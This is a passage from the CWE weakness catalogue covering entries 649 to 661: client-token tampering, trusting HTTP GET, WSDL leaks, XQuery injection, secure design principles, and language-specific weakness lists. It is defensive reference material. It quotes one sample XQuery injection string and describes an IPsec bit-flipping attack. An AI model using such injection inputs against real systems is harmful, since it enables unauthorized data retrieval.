Likelihood of Exploit

High

Enabling Factors for Exploitation

The application uses client controllable tokens/parameters in order to make decisions on the server side about user state, system state or other decisions related to the functionality of the application.

The application fails to protect client controllable tokens/parameters for integrity and thus not able to catch tampering.

Observed Examples

Reference	Description
CVE-2005-0039	From CVE-2005-0039: Certain configurations of IPsec, when using Encapsulating Security Payload (ESP) in tunnel mode, integrity protection at a higher layer, or Authentication Header (AH), allow remote attackers to decrypt IPSec communications by modifying the outer packet in ways that cause plaintext data from the inner packet to be returned in ICMP messages, as demonstrated using CBC bit-flipping attacks and (1) Destination Address Rewriting, (2) a modified header length that causes portions of the packet to be interpreted as IP Options, or (3) a modified protocol field and source address. The reason for the vulnerability is a failure to require integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, he or she was able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires a man in the middle scenario, the situation is not much different at the software level where an attacker can modify tokens/parameters used by the application.

Potential Mitigations

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure compromising integrity is possible (although less likely) without the provision of the integrity service.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**699** **1000**	367

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID: 650 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

An application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation, believing that it will be enough to prevent unintended resource alterations. Even though the HTTP GET specification requires that GET requests should not have side effects, there is nothing in the HTTP protocol itself that prevents the HTTP GET method from performing more than just query of the data. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. Whenever that happens however, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, and POST methods have the power to alter the representation of the resource being accessed in the request.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Escalation of Privilege

Modification of Resources

Information Disclosure

Likelihood of Exploit

High

Enabling Factors for Exploitation

The application allows HTTP access to resources.

The application is not properly configured to enforce access controls around the resources accessible via HTTP.

Observed Examples

Description
The HTTP GET method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP GET requests. These HTTP GET methods do delete data on the server side, despite being called from GET, which is not supposed to alter state.

Potential Mitigations

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.

Do not make an assumption that only HTTP PUT, DELETE or POST methods can modify resources, since HTTP GET method may do the same.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		2	Environment	**699**	1
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	1000	254
ChildOf	We	436	Interpretation Conflict	**1000**	463

CWE-651: Information Leak through WSDL File

Weakness ID: 651 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The Web services architecture may require exposing a WSDL file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information disclosure leak may occur if:

1. The WSDL file is accessible to a wider audience than intended
2. The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
3. Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server *(Often)*

Common Consequences

Information Disclosure

Enabling Factors for Exploitation

The system employs a web services architecture.

WSDL is used to advertise information information on how to communicate with the service.

Observed Examples

Description
The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

Potential Mitigations

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699** **1000**	546

CWE-652: Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')

Weakness ID: 652 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not sufficiently sanitize that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Controlling application flow (e.g. bypassing authentication)

Information Disclosure

Elevation of Privilege

Likelihood of Exploit

High

Enabling Factors for Exploitation

XQL queries are constructed dynamically using user supplied input that has not been sufficiently validated.

Observed Examples

Description
From CAPEC 84: An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

Potential Mitigations

Use parameterized queries. This will help ensure separation between data plane and control plane.

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	91	XML Injection (aka Blind XPath Injection)	**699 1000**	107

Relationship Notes

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

CWE-653: Insufficient Compartmentalization

Weakness ID: 653 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Alternate Terms

Separation of Privilege

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Availability

The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user man pages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Potential Mitigations

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

Other Notes

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

There is a close association with CWE-250 (Failure to Use Least Privilege). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	699	279
ChildOf	Wc	657	Violation of Secure Design Principles	**699 1000**	645
ChildOf	Wc	693	Protection Mechanism Failure	1000	684

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html >.

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID: 654 *(Weakness Base)* **Status:** Draft

Description

Summary

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Alternate Terms

Separation of Privilege

Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.

Accountability

It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

Potential Mitigations

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Use redundant access rules on different choke points (e.g., firewalls).

Other Notes

This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	699	279
ChildOf	Wc	657	Violation of Secure Design Principles	**699 1000**	645
ChildOf	Wc	693	Protection Mechanism Failure	1000	684
ParentOf	Wa	*308*	*Use of Single-factor Authentication*	*1000*	*333*
ParentOf	Wa	*309*	*Use of Password System for Primary Authentication*	*1000*	*334*

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html >.

CWE-655: Failure to Satisfy Psychological Acceptability

Weakness ID: 655 *(Weakness Base)* **Status:** Draft

Description

Summary

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" (see References), the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users

accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

Potential Mitigations

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Other Notes

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699	279
ChildOf	Wc	657	Violation of Secure Design Principles	**699 1000**	645
ChildOf	Wc	693	Protection Mechanism Failure	1000	684

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005-09-15. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/354.html >.

J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998-12-15. < http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf >.

CWE-656: Reliance on Security through Obscurity

Weakness ID: 656 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Alternate Terms

Never Assuming your secrets are safe

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Availability

The security mechanism can be bypassed easily.

Demonstrative Examples

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

References

Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. September 1981. < http://www.ietf.org/rfc/rfc0793.txt >.

Observed Examples

Reference	Description
CVE-2005-4002	Hard-coded cryptographic key stored in executable program.
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client.
CVE-2006-7142	Hard-coded cryptographic key stored in executable program.

Potential Mitigations

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Other Notes

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	699	279
CanPrecede	Wa	259	Hard-Coded Password	1000	283
CanPrecede	Wa	321	Use of Hard-coded Cryptographic Key	1000	344
CanPrecede	Wa	472	External Control of Assumed-Immutable Web Parameter	1000	493
ChildOf	Wc	657	Violation of Secure Design Principles	**699** **1000**	645
ChildOf	Wc	693	Protection Mechanism Failure	1000	684

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005-09-14. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html >.

CWE-657: Violation of Secure Design Principles

Weakness ID: 657 *(Weakness Class)* **Status:** Draft

Description

Summary

The product violates well-established principles for secure design.

Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	17	Code	**699**	13
ChildOf	Wc	710	Coding Standards Violation	**1000**	711
ParentOf	Wc	*250*	*Execution with Unnecessary Privileges*	*699* ***1000***	*271*
ParentOf	Wc	*636*	*Not Failing Securely ('Failing Open')*	***699*** ***1000***	*617*
ParentOf	Wc	*637*	*Failure to Use Economy of Mechanism*	***699*** ***1000***	*619*
ParentOf	Wc	*638*	*Failure to Use Complete Mediation*	***699*** ***1000***	*620*
ParentOf	Wc	*653*	*Insufficient Compartmentalization*	***699*** ***1000***	*639*
ParentOf	Wc	*654*	*Reliance on a Single Factor in a Security Decision*	***699*** ***1000***	*641*
ParentOf	Wc	*655*	*Insufficient Psychological Acceptability*	***699*** ***1000***	*642*
ParentOf	Wc	*656*	*Reliance on Security through Obscurity*	***699*** ***1000***	*643*
ParentOf	Wc	*671*	*Lack of Administrator Control over Security*	***699*** ***1000***	*660*

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Design Principles". 2005-09-19. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/358.html >.

CWE-658: Weaknesses in Software Written in C

View ID: 658 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) covers issues that are found in C programs that are not common to all languages.

View Data

Filter Used:

.//Applicable_Platforms//@Language_Name='C'

View Metrics

	CWEs in this view		Total CWEs
Total	**69**	out of	777
Views	0	out of	22
Categories	3	out of	105
Weaknesses	62	out of	638
Compound_Elements	4	out of	12

CWEs Included in this View

Type	ID	Name
Wa	14	Compiler Removal of Code to Clear Buffers
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Wv	121	Stack-based Buffer Overflow
Wv	122	Heap-based Buffer Overflow
Wa	123	Write-what-where Condition
Wa	124	Boundary Beginning Violation ('Buffer Underwrite')
Wa	125	Out-of-bounds Read
Wv	126	Buffer Over-read
Wv	127	Buffer Under-read
Wa	128	Wrap-around Error
Wa	129	Unchecked Array Indexing
Wa	130	Improper Handling of Length Parameter Inconsistency
Wa	131	Incorrect Calculation of Buffer Size
Wa	134	Uncontrolled Format String
Wa	135	Incorrect Calculation of Multi-Byte String Length
Wa	170	Improper Null Termination
Wa	188	Reliance on Data/Memory Layout
Wa	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error
Wa	194	Unexpected Sign Extension
Wv	195	Signed to Unsigned Conversion Error
Wv	196	Unsigned to Signed Conversion Error
Wa	197	Numeric Truncation Error
Wa	242	Use of Inherently Dangerous Function
Wv	243	Failure to Change Working Directory in chroot Jail
Wv	244	Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
Wv	249	Often Misused: Path Manipulation
C	251	Often Misused: String Management
Wa	364	Signal Handler Race Condition
Wa	365	Race Condition in Switch
Wa	366	Race Condition within a Thread
Wa	374	Mutable Objects Passed by Reference
Wa	375	Passing Mutable Objects to an Untrusted Method
C	387	Signal Errors
Wa	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
Wv	415	Double Free
Wa	416	Use After Free
Wv	457	Use of Uninitialized Variable
Wv	460	Improper Cleanup on Thrown Exception
Wa	462	Duplicate Key in Associative List (Alist)
Wa	463	Deletion of Data Structure Sentinel
Wa	464	Addition of Data Structure Sentinel
Wa	466	Return of Pointer Value Outside of Expected Range
Wv	467	Use of sizeof() on a Pointer Type
Wa	468	Incorrect Pointer Scaling
Wa	469	Use of Pointer Subtraction to Determine Size

Type	ID	Name
	474	Use of Function with Inconsistent Implementations
	476	NULL Pointer Dereference
	478	Failure to Use Default Case in Switch
	479	Unsafe Function Call from a Signal Handler
	480	Use of Incorrect Operator
	481	Assigning instead of Comparing
	482	Comparing instead of Assigning
	483	Incorrect Block Delimitation
	484	Omitted Break Statement in Switch
	495	Private Array-Typed Field Returned From A Public Method
	496	Public Data Assigned to Private Array-Typed Field
	558	Use of getlogin() in Multithreaded Application
	560	Use of umask() with chmod-style Argument
	562	Return of Stack Variable Address
	587	Assignment of a Fixed Address to a Pointer
	676	Use of Potentially Dangerous Function
	685	Function Call With Incorrect Number of Arguments
	688	Function Call With Incorrect Variable or Reference as Argument
	689	Permission Race Condition During Resource Copy
	690	Unchecked Return Value to NULL Pointer Dereference
	692	Incomplete Blacklist to Cross-Site Scripting
	704	Incorrect Type Conversion or Cast
	733	Compiler Optimization Removal or Modification of Security-critical Code

CWE-659: Weaknesses in Software Written in C++

View ID: 659 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) covers issues that are found in C++ programs that are not common to all languages.

View Data

Filter Used:

.//Applicable_Platforms//@Language_Name='C++'

View Metrics

	CWEs in this view		Total CWEs
Total	**72**	out of	777
Views	0	out of	22
Categories	3	out of	105
Weaknesses	66	out of	638
Compound_Elements	3	out of	12

CWEs Included in this View

Type	ID	Name
	14	Compiler Removal of Code to Clear Buffers
	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
	121	Stack-based Buffer Overflow
	122	Heap-based Buffer Overflow
	123	Write-what-where Condition
	124	Boundary Beginning Violation ('Buffer Underwrite')
	125	Out-of-bounds Read
	126	Buffer Over-read
	127	Buffer Under-read
	128	Wrap-around Error
	129	Unchecked Array Indexing
	130	Improper Handling of Length Parameter Inconsistency
	131	Incorrect Calculation of Buffer Size
	134	Uncontrolled Format String

Type	ID	Name
	135	Incorrect Calculation of Multi-Byte String Length
	170	Improper Null Termination
	188	Reliance on Data/Memory Layout
	191	Integer Underflow (Wrap or Wraparound)
	192	Integer Coercion Error
	194	Unexpected Sign Extension
	195	Signed to Unsigned Conversion Error
	196	Unsigned to Signed Conversion Error
	197	Numeric Truncation Error
	242	Use of Inherently Dangerous Function
	243	Failure to Change Working Directory in chroot Jail
	244	Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
	248	Uncaught Exception
	249	Often Misused: Path Manipulation
	251	Often Misused: String Management
	364	Signal Handler Race Condition
	365	Race Condition in Switch
	366	Race Condition within a Thread
	374	Mutable Objects Passed by Reference
	375	Passing Mutable Objects to an Untrusted Method
	387	Signal Errors
	396	Declaration of Catch for Generic Exception
	397	Declaration of Throws for Generic Exception
	401	Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
	415	Double Free
	416	Use After Free
	457	Use of Uninitialized Variable
	460	Improper Cleanup on Thrown Exception
	462	Duplicate Key in Associative List (Alist)
	463	Deletion of Data Structure Sentinel
	464	Addition of Data Structure Sentinel
	466	Return of Pointer Value Outside of Expected Range
	467	Use of sizeof() on a Pointer Type
	468	Incorrect Pointer Scaling
	469	Use of Pointer Subtraction to Determine Size
	476	NULL Pointer Dereference
	478	Failure to Use Default Case in Switch
	479	Unsafe Function Call from a Signal Handler
	480	Use of Incorrect Operator
	481	Assigning instead of Comparing
	482	Comparing instead of Assigning
	483	Incorrect Block Delimitation
	484	Omitted Break Statement in Switch
	493	Critical Public Variable Without Final Modifier
	495	Private Array-Typed Field Returned From A Public Method
	496	Public Data Assigned to Private Array-Typed Field
	498	Information Leak through Class Cloning
	500	Public Static Field Not Marked Final
	558	Use of getlogin() in Multithreaded Application
	562	Return of Stack Variable Address
	587	Assignment of a Fixed Address to a Pointer
	676	Use of Potentially Dangerous Function
	690	Unchecked Return Value to NULL Pointer Dereference
	692	Incomplete Blacklist to Cross-Site Scripting
	704	Incorrect Type Conversion or Cast
	733	Compiler Optimization Removal or Modification of Security-critical Code

CWE-660: Weaknesses in Software Written in Java

View ID: 660 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) covers issues that are found in Java programs that are not common to all languages.

View Data

Filter Used:

.//Applicable_Platforms//@Language_Name='Java'

View Metrics

	CWEs in this view		Total CWEs
Total	**71**	out of	777
Views	0	out of	22
Categories	2	out of	105
Weaknesses	69	out of	638
Compound_Elements	0	out of	12

CWEs Included in this View

Type	ID	Name
	5	J2EE Misconfiguration: Data Transmission Without Encryption
	6	J2EE Misconfiguration: Insufficient Session-ID Length
	7	J2EE Misconfiguration: Missing Custom Error Page
	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
	101	Struts Validation Problems
	102	Struts: Duplicate Validation Forms
	103	Struts: Incomplete validate() Method Definition
	104	Struts: Form Bean Does Not Extend Validation Class
	105	Struts: Form Field Without Validator
	106	Struts: Plug-in Framework not in Use
	107	Struts: Unused Validation Form
	108	Struts: Unvalidated Action Form
	109	Struts: Validator Turned Off
	110	Struts: Validator Without Form Field
	111	Direct Use of Unsafe JNI
	191	Integer Underflow (Wrap or Wraparound)
	192	Integer Coercion Error
	194	Unexpected Sign Extension
	197	Numeric Truncation Error
	245	J2EE Bad Practices: Direct Management of Connections
	246	J2EE Bad Practices: Direct Use of Sockets
	248	Uncaught Exception
	365	Race Condition in Switch
	366	Race Condition within a Thread
	374	Mutable Objects Passed by Reference
	375	Passing Mutable Objects to an Untrusted Method
	382	J2EE Bad Practices: Use of System.exit()
	383	J2EE Bad Practices: Direct Use of Threads
	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
	396	Declaration of Catch for Generic Exception
	397	Declaration of Throws for Generic Exception
	460	Improper Cleanup on Thrown Exception
	462	Duplicate Key in Associative List (Alist)
	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
	476	NULL Pointer Dereference
	478	Failure to Use Default Case in Switch
	481	Assigning instead of Comparing
	484	Omitted Break Statement in Switch
	486	Comparison of Classes by Name

Type	ID	Name
W	487	Reliance on Package-level Scope
W	491	Public cloneable() Method Without Final (aka 'Object Hijack')
W	492	Use of Inner Class Containing Sensitive Data
W	493	Critical Public Variable Without Final Modifier
W	495	Private Array-Typed Field Returned From A Public Method
W	496	Public Data Assigned to Private Array-Typed Field
W	498	Information Leak through Class Cloning
W	499	Serializable Class Containing Sensitive Data
W	500	Public Static Field Not Marked Final
W	537	Information Leak Through Java Runtime Error Message
W	543	Use of Singleton Pattern in a Non-thread-safe Manner
W	545	Use of Dynamic Class Loading
W	568	finalize() Method Without super.finalize()
W	572	Call to Thread run() instead of start()
W	574	EJB Bad Practices: Use of Synchronization Primitives
W	575	EJB Bad Practices: Use of AWT Swing
W	576	EJB Bad Practices: Use of Java I/O
W	577	EJB Bad Practices: Use of Sockets
W	578	EJB Bad Practices: Use of Class Loader
W	579	J2EE Bad Practices: Non-serializable Object Stored in Session
W	580	clone() Method Without super.clone()
W	581	Object Model Violation: Just One of Equals and Hashcode Defined
W	582	Array Declared Public, Final, and Static
W	583	finalize() Method Declared Public
W	585	Empty Synchronized Block
W	586	Explicit Call to Finalize()
W	594	J2EE Framework: Saving Unserializable Objects to Disk
W	607	Public Static Final Field References Mutable Object
W	608	Struts: Non-private Field in ActionForm Class
W	609	Double-Checked Locking

CWE-661: Weaknesses in Software Written in PHP

View ID: 661 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) covers issues that are found in PHP programs that are not common to all languages.

View Data

Filter Used:

.//Applicable_Platforms//@Language_Name='PHP'

View Metrics

	CWEs in this view		Total CWEs
Total	**17**	out of	777
Views	0	out of	22
Categories	0	out of	105
Weaknesses	16	out of	638
Compound_Elements	1	out of	12

CWEs Included in this View

Type	ID	Name
W	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
W	96	Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
C	98	Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
W	209	Error Message Information Leak
W	211	Product-External Error Message Information Leak
W	453	Insecure Default Variable Initialization

Type	ID	Name
We	454	External Initialization of Trusted Variables
We	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
Wv	473	PHP External Variable Modification
We	474	Use of Function with Inconsistent Implementations
We	484	Omitted Break Statement in Switch
